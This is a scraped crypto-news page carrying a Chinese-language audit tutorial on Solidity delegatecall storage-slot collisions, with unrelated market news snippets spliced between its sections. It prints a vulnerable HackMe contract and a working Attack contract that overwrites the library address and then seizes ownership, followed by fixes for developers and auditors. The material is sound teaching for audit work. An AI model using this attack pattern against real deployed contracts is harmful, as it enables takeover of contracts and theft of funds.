以太坊交易所 以太坊交易所
Ctrl+D 以太坊交易所
ads
首頁 > FTX > Info

智能合約安全審計入門篇 —— delegatecall (2)_SOME:DOGEBACK

Author:

Time:1900/1/1 0:00:00

上篇文章中我們了解了什么是delegatecall函數以及一個基礎的漏洞,這篇文章的目的是加深一下大家對delegatecall的印象并帶大家一起去玩點刺激的,拿下一個進階版的漏洞合約。

這里就不再重復之前的基礎知識了,不了解或者遺忘的可以再看看上一篇文章:《智能合約安全審計入門篇——delegatecall(1)》。

漏洞示例

contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}

Bitfinex Alpha:美聯儲利率決議開始以前,經濟信號喜憂參半,但比特幣價格被低估:6月13日消息,根據Bitfinex Alpha最新報告,美國經濟面臨貿易逆差擴大、批發庫存略有改善、服務業增速放緩等多方面挑戰。雖然上周公布的工廠訂單數據看起來積極,但整體經濟前景反映出經濟處于不穩定的平衡狀態。到目前為止,市場仍準備在本周的聯邦公開市場委員會會議上暫停加息。

在加密貨幣市場中,與標準普爾500指數相比,比特幣的價值似乎越來越被低估。盡管人工智能推動美國股市上漲,但比特幣的交易價格約為25-26,000美元,遠低于其估計的公允價值27,550美元,折讓幅度超過8%。

從歷史上看,BTC-黃金相關性的走高先于BTC-S&P500相關性的類似走勢,預示著比特幣與標準普爾500指數和解的希望,并可能在未來幾個月引發“追趕”反彈。[2023/6/13 21:33:24]

漏洞分析

Multicoin Capital昨日23:04向機構數字資產管理平臺FalconX發送320萬枚LDO:2月5日消息,鏈上數據觀察者The Data Nerd監測顯示,Multicoin Capital于2月4日23:04向機構數字資產管理平臺FalconX發送320萬枚LDO(當時價值約合740萬美元)。這些Token來自Gnosis Safe Proxy,最終可溯源至2020年12月18日解鎖的一個錢包地址。The Data Nerd猜測Multicoin Capital或已決定從他們的LDO頭寸中獲利。[2023/2/5 11:48:04]

這次的攻擊目標依然是獲得HackMe合約中的?owner?權限,我們可以看到兩個合約中除了HackMe合約中的構造函數可以修改合約的?owner?其他地方并沒有修改?owner?的函數。我們要如何完成攻擊呢?這里需要一點小技巧,大家可以思考一下,剛好也可以驗證一下自己對于之前知識的掌握程度以及自己的思維是否活躍。

調查:匈牙利人對加密貨幣的投資潛力感興趣:金色財經報道,一項調查表明,匈牙利人希望更多地了解加密貨幣帶來的長期投資機會。然而,相關風險和母語信息不足是主要問題。大多數匈牙利人認為加密投資的風險仍然高于平均水平。該研究的作者發現,86%的參與者從未使用過加密貨幣,而4%的人被認為是偶爾用戶。大約3%的人認為加密資產是額外收入的來源,1%的人認為加密資產是主要收入來源。

調查還顯示,即使是遠離加密資產的匈牙利人也知道比特幣。在加密貨幣交易員中,61%的人表示他們更喜歡購買比特幣,其次是以太坊的投資者,占樣本的45%。[2023/1/15 11:12:59]

是否有想法呢?沒有想法也沒關系,我們一起來看攻擊是如何完成的:

攻擊合約

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}

Compass Mining在針對托管公司的訴訟中贏得150萬美元:金色財經報道,2022 年 12 月 29 日的法庭文件顯示,采礦服務經紀人 Compass Mining 在針對托管服務提供商 Dynamics Mining 的訴訟中贏得了 150 萬美元。

Compass 于 2022 年 6 月起訴 Dynamics 未能提供服務和扣留客戶的機器。該經紀人借給 Dynamics 100 萬美元用于建設兩個比特幣挖礦站點,此外還支付了 650,000 美元的托管費和押金。Dynamics 聲稱Compass 未能支付 861,000 美元的托管費和電費,并且 Compass 試圖闖入 Dynamics 的采礦設施以竊取采礦設備。

特拉華州衡平法院法官 J. Travis Laster 作出有利于 Compass 的裁決,對 Dynamics 作出缺席判決,要求賠償 1,474,400 美元,以及判決后的利息和費用。[2023/1/4 9:50:52]

我們先看攻擊流程:

Strike支持美國用戶向尼日利亞、肯尼亞和加納付款:金色財經報道,比特幣閃電網絡上的支付平臺Strike,通過其“全球發送”功能,美國用戶可以向尼日利亞、肯尼亞和加納立即支付低成本的款項。根據一份新聞稿,這項新功能由與非洲支付平臺Bitnob合作提供。加密貨幣支付會被立即轉換為奈拉、塞地或先令,并存入收款人的銀行、移動貨幣或Bitnob賬戶。(the block)[2022/12/6 21:26:36]

1.Alice部署Lib合約;

2.Alice部署HackMe合約并在構造函數中傳入Lib合約的地址;

3.攻擊者Eve部署Attack合約并在構造函數中傳入HackMe合約的地址;

4.攻擊者調用Attack.attack()函數將HackMe合約中的owner變為自己。

咋回事兒呢?其實這個攻擊方式就是很巧妙的運用了delegatecall這個函數修改storage類型變量時的特征:delegatecall函數的執行環境是調用者的環境并且對于storage類型變量的修改是根據被調用合約變量存儲的插槽位置來修改的。

1.Attack.attack()函數先將自己的地址轉換為uint256類型第一次調用HackMe.doSomething()函數;

2.HackMe.doSomething()函數使用delegatecall函數帶著傳入的Attack合約的地址調用了Lib.doSomething()函數;

3.可以看到Lib.doSomething()函數將合約中存儲位置為slot0的參數改為傳入的值,這樣當HackMe合約使用delegatecall調用Lib.doSomething()函數時也將改變自己在slot0位置存儲的變量的值,也就是將lib參數改為我們傳入的Attack合約的地址。此時之前在HackMe.lib參數中存儲的Lib合約的地址就被修改成我們傳入的Attack合約的地址了;

4.Attack.attack()函數再次調用HackMe.doSomething()函數,由于在上一步我們已經將HackMe.lib變量修改為Attack合約的地址了,這時HackMe.doSomething()函數將不再調用之前的Lib合約而是用delegatecall去調用Attack.doSomething()函數。此時我們再來觀察Attack合約的寫法,發現其變量的存儲位置故意和HackMe合約保持一致,并且不難發現Attack.doSomething()函數的內容也被攻擊者寫為owner=msg.sender,這個操作修改了合約中存儲位置為slot1的變量。所以HackMe合約使用delegatecall調用Attack.doSomething()函數就會將合約中存儲位置為slot1的變量owner修改為msg.sender也就是Eve的地址,至此攻擊者完成了他的攻擊。

修復建議

作為開發者

1.?在使用delegatecall時應注意被調用合約的地址不能是可控的;

2.?在較為復雜的合約環境下需要注意變量的聲明順序以及存儲位置。因為使用delegatecall進行外部調用時會根據被調用合約的數據結構來修改本合約相應slot中存儲的數據,當數據結構發生變化時這可能會造成非預期的變量覆蓋。

作為審計者

1.在審計過程中遇到合約中有使用delegatecall時需要注意被調用的合約地址是否可控;

2.當被調用合約中的函數存在修改storage變量的情況時需要注意變量存儲插槽的位置,避免由于數據結構不一致而導致本合約中存儲的storage變量被錯誤的覆蓋。

來源:金色財經

Tags:ACKHACSOMESOMDOGEBACKHacken Tokensomee幣的用途Somint

FTX
在 Binance Marketplace 和 DeFi 錢包使用您的$FROYO_binance:Solyard Finance

YurishYin Jun24 · 4minread 在Binance兌換您的$FROYOBinance新的DeFi錢包功能,讓您能從Binance內部訪問PancakeSwap.

1900/1/1 0:00:00
為什么Yield+激勵計劃是賦能EOS DeFi發展的重要一環?| AMA精彩回顧_EFI:defi幣今日行情

2022年6月23日20:00,EOS網絡基金會最新一期非正式柚談欄目開播,本期活動圍繞備受生態關注的Yield+藍皮書及其EOS流動性激勵計劃展開.

1900/1/1 0:00:00
禁之路雖遠必行 | 國際禁日主題藏品限量發售_META:metamask小狐貍錢包官網4.4.0

絕境之地 國際禁日 國際禁日,全稱是禁止藥物濫用和非法販運國際日,即國際反日,為每年的6月26日.

1900/1/1 0:00:00
史上最卷空投 Arbitrum,將掀起Layer 2的熱度_ARB:ARBI

2022年6月,Optimism的Airdrop#1階段空投計劃正式拉開帷幕。這場看似司空見慣的空投活動,卻為當時籠罩在LUNA陰影下的加密市場注入了一針強心劑.

1900/1/1 0:00:00
NFT佼佼者 Amazing Pandaverse 一代完美收官 全新賽道即將開跑 快來圍觀_PAN:AMA

AMAZINGPANDAVERSENFT穿越而來!帶來極致藝術體驗!2021年被稱為元宇宙“元年”,同年,NFT伴隨元宇宙爆火全面開花,時至今日這股浪潮依舊持續.

1900/1/1 0:00:00
金色趨勢丨知史鑒今 回撤是低吸的機會?_Uniswap:UNI

Uniswap開發團隊贏得鏈上賽車游戲0xMonaco:Battle of Titans的游戲開發比賽:1月30日消息.

1900/1/1 0:00:00
ads